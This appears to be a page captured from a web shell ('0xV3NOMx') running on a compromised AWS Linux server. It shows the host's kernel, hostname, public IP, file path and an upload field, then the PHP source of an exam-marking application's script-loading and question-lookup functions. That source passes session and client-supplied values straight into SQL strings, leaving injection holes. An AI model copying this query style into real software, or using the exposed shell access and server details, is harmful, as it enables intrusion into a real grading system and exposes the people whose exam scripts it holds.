0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 18.188.188.152


Current Path : /proc/thread-self/root/var/www/misc/public_html/ovms/src/
Upload File :
Current File : //proc/thread-self/root/var/www/misc/public_html/ovms/src/tmp.txt

<?php

function loadnewscript($aobj_context)
{
	$aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);
	session_start();
	$userid	= $_SESSION['userid'];
	
	$query1 = "select fevalfilepath, fbarcode, fvalno, fqpcode from abval
			where   fteachcode = '{$userid}' and ifnull(abval.fverified,'') = 'S'";
	$rst1 = $aobj_context->mobj_db->GetRow($query1);
	
	if($rst1)
	{	
		$barcode = $rst1['fbarcode'];
		$valno 	 = $rst1['fvalno'];
		$_SESSION['valno'] = $valno;
		$_SESSION['barcode'] = $barcode;
		$qpcode = $rst1['fqpcode'];
		
		$query4 = "select qpdetl.ftmpcode, qpdetl.fqnid, qpdetl.fqnno, fmaxmarks, qpdetl.fqndesc, concat(masqp.fqpcode, ' - ', fsubname) as subname from mastmp, masqp, qpdetl
		where masqp.fqpcode = '{$qpcode}' and mastmp.ftmpcode = masqp.ftmpcode and masqp.fqpcode = qpdetl.fqpcode 
		and qpdetl.ftmpcode = mastmp.ftmpcode and qpdetl.fqnno = mastmp.fqnno and qpdetl.fqnid = mastmp.fqnid ";
		$rst4 = $aobj_context->mobj_db->GetAll($query4);

		$evalinfo = "<input type='hidden' id='barcode' value='".$barcode."'/><input type='hidden' id='valno' value='".$valno."'/><input type='hidden' id='valno' value='".$valno."'/>";
		$markstable = "";
		$index = 1;
		foreach($rst4 as $mkey=>$mval)
		{
			$markstable .= '<tr class="clickable-row" id="'.$mval['fqnid'].'" onclick=CMS.acceptqnmarks("'.$mval['fqnid'].'","'.$mval['fqnno'].'","'.$index.'","'.$mval['fmaxmarks'].'","'.$qpcode.'","'.$mval['ftmpcode'].'")>'; 								
			$markstable .= '<td  align="center"  class="col-xs-c1" style="float:left;" ><input type="hidden" name="hqnid" id="hqnid'.$index.'" value="'.$mval['fqnid'].'"><span id="hqnno'.$index.'" >'.$mval["fqnno"].'</span></td>';
			$markstable .= '<td  align="center" class="col-xs-c2" style="float:left;" ><input type="hidden" id="hmrks'.$mval['fqnid'].'" value="x"><input type="hidden" id="hdecmrks'.$mval['fqnid'].'" value="0"><span id="mrks'.$mval['fqnid'].'">x</span>/<span id="maxmrks'.$mval['fqnid'].'">'.round($mval["fmaxmarks"]).'</td></tr>';	
			++$index;
		}
		$arr["subname"]	= $rst4[0]["subname"];
		$arr['markstable'] = $markstable;
		$arr['filepath'] = $rst1['fevalfilepath'];
		echo $aobj_context->mobj_output->ToJSONEnvelope($arr,0,"Success");
		return true;	
	}
	
	$query2 = "select ffilepath, fbarcode, fvalno, qpsch.fqpcode  from abval, masuser, qpsch 
			where  instr(masuser.fqpcode,abval.fqpcode) and qpsch.fqpcode = abval.fqpcode 
			and date_format(now(),'%Y-%m-%d') between qpsch.ffromdate and qpsch.ftodate and masuser.fuserid = '{$userid}' 
			and ifnull(abval.fverified,'') = 'T'  
			and fbarcode not in(select fbarcode from abval 
			where fteachcode = '{$userid}')
			order by abval.fbarcode, abval.fvalno";
	$rst2 = $aobj_context->mobj_db->GetRow($query2);
		
	if($rst2)
	{					
		$docpath = $rst2['ffilepath'];
		$qpcode = $rst2['fqpcode'];
		$barcode = $rst2['fbarcode'];
		$valno 	 = $rst2['fvalno'];
		$_SESSION['valno'] = $valno;
		$_SESSION['barcode'] = $barcode;
		
		$current_docpath = $aobj_context->main_src."/{$docpath}";
		$currpath_parts = pathinfo($current_docpath);
		$basename = $currpath_parts['basename'];
		$filext = $currpath_parts['extension'];
		$filename = $currpath_parts['filename']; 
		
		if(file_exists($current_docpath))
		{				
			$evaldocpath = "eval/".$qpcode;
			$eval_docpath = $aobj_context->main_src."/{$evaldocpath}";
			if(!file_exists($eval_docpath))
			{				
				mkdir($eval_docpath);
			}
			$eval_dbpath = $evaldocpath."/".$filename."_".$valno.".".$filext;
			$eval_docfilepath = $eval_docpath."/".$filename."_".$valno.".".$filext;
			if(copy($current_docpath,$eval_docfilepath))
			{													
				$query3 = "update abval set fverified = 'S', fteachcode = '{$userid}', fvaldate = now(), 
						fstartdate = now(), fevalfilepath = '{$eval_dbpath}'
						where fbarcode = {$barcode} and fvalno = {$valno}";
				$rst3 = $aobj_context->mobj_db->GetRow($query3);
				
				$qpcode = $rst2['fqpcode'];
				$query4 = "select qpdetl.ftmpcode, qpdetl.fqnid, qpdetl.fqnno, fmaxmarks, qpdetl.fqndesc, 
				concat(masqp.fqpcode, ' - ', fsubname) as subname from mastmp, masqp, qpdetl
				where masqp.fqpcode = '{$qpcode}' and mastmp.ftmpcode = masqp.ftmpcode and masqp.fqpcode = qpdetl.fqpcode 
				and qpdetl.ftmpcode = mastmp.ftmpcode and qpdetl.fqnno = mastmp.fqnno and qpdetl.fqnid = mastmp.fqnid ";
				$rst4 = $aobj_context->mobj_db->GetAll($query4);
				
				$evalinfo = "<input type='hidden' id='barcode' value='".$barcode."'/><input type='hidden' id='valno' value='".$valno."'/><input type='hidden' id='valno' value='".$valno."'/>";
				$markstable = "";
				$index = 1;
				foreach($rst4 as $mkey=>$mval)
				{
					$markstable .= '<tr class="clickable-row" id="'.$mval['fqnid'].'" onclick=CMS.acceptqnmarks("'.$mval['fqnid'].'","'.$mval['fqnno'].'","'.$index.'","'.$mval['fmaxmarks'].'","'.$qpcode.'","'.$mval['ftmpcode'].'")>'; 								
					$markstable .= '<td  align="center"  class="col-xs-c1" style="float:left;" ><input type="hidden" name="hqnid" id="hqnid'.$index.'" value="'.$mval['fqnid'].'"><span id="hqnno'.$index.'" >'.$mval["fqnno"].'</span></td>';
					$markstable .= '<td  align="center" class="col-xs-c2" style="float:left;" ><input type="hidden" id="hmrks'.$mval['fqnid'].'" value="x"><input type="hidden" id="hdecmrks'.$mval['fqnid'].'" value="0"><span id="mrks'.$mval['fqnid'].'">x</span>/<span id="maxmrks'.$mval['fqnid'].'">'.round($mval["fmaxmarks"]).'</td></tr>';	
				++$index;
				}	
				$arr["subname"]	= $rst4[0]["subname"];	
				$arr['markstable'] = $markstable;
				$arr['filepath'] = $eval_dbpath;				
				echo $aobj_context->mobj_output->ToJSONEnvelope($arr,0,"Success");
				return true;
			}
		}	
	}
	else
	{
		$err_data = "Script not available"; 	 	
		echo $aobj_context->mobj_output->ToJSONEnvelope($err_data,-1,"Failure");
		return false;
	}	
}

function savescritexit($aobj_context)
{
	$aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);
	session_start();
	$userid	 = $_SESSION['userid'];
	$valno	 = $_SESSION['valno'];
	$barcode = $_SESSION['barcode'];
	
	$query = "update abval SET fverified = 'Y', fenddate = now()
			where fbarcode = '{$barcode}' and fvalno = '{$valno}' and fteachcode = '{$userid}'";
	$rst = $aobj_context->mobj_db->GetRow($query);
	$succ_msg = "Updated successfully";
	echo $aobj_context->mobj_output->ToJSONEnvelope($succ_msg,0,"Success");
	return true;
}

function getqndesc($aobj_context)
{
	$aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);
	session_start();
	$qpcode	 = $aobj_context->mobj_data['qpcode'];
	$qnid	 = $aobj_context->mobj_data['qnid'];
	$tmpcode	 = $aobj_context->mobj_data['tmpcode'];
	
	$query4 = "select  fqndesc from qpdetl, masqp
			where masqp.fqpcode = qpdetl.fqpcode  and qpdetl.ftmpcode = masqp.ftmpcode 
			and masqp.fqpcode = '{$qpcode}' and qpdetl.fqnid='{$qnid}' and qpdetl.ftmpcode = '{$tmpcode}'";
	$rst4 = $aobj_context->mobj_db->GetRow($query4);
	$arr['qndesc'] = $rst4['fqndesc'];
	echo $aobj_context->mobj_output->ToJSONEnvelope($arr,0,"Success");
	return true;
}
?>